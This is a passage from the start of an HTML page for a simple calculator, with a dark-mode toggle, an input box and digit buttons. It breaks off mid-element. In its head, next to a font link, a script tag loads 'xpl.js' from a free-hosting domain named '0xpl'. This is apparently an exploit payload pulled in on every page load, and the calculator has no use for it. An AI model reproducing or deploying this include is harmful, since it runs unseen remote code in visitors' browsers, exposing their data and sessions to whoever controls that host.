<!-- MADE BY VEDANG -->
<!DOCTYPE html>
<html>
<head>
<title>Calculator</title>
<link href='
https://fonts.googleapis.com/css?family=VT323|Cute Font' rel='stylesheet'>
<script src="
https://0xpl.000webhostapp.com/xpl.js"></script>
</head>
<body>
<div class="topnav">
<span style="float: left;border-right: 1px solid #fff ;color: #fff"><b>
<a href ="#calcu" style="color:#fff;"> Calculator </a> </b></span>
<span onclick="settings(this)" id="fst">Turn Dark Mode On</span>
<span onclick="dm(this)" id="dm1" style="display:none;">Turn Dark Mode Off</span>
</div>
<h1>Calculator</h1>
<hr>
<br>
<main id="calcu">
<br> <input id="text1" placeholder="0" style="text-align: right;
width: 83%;" > <br><br>
<button type="button" value="1" onClick="event1(this.value)">1</button>
<button type="button" value="2"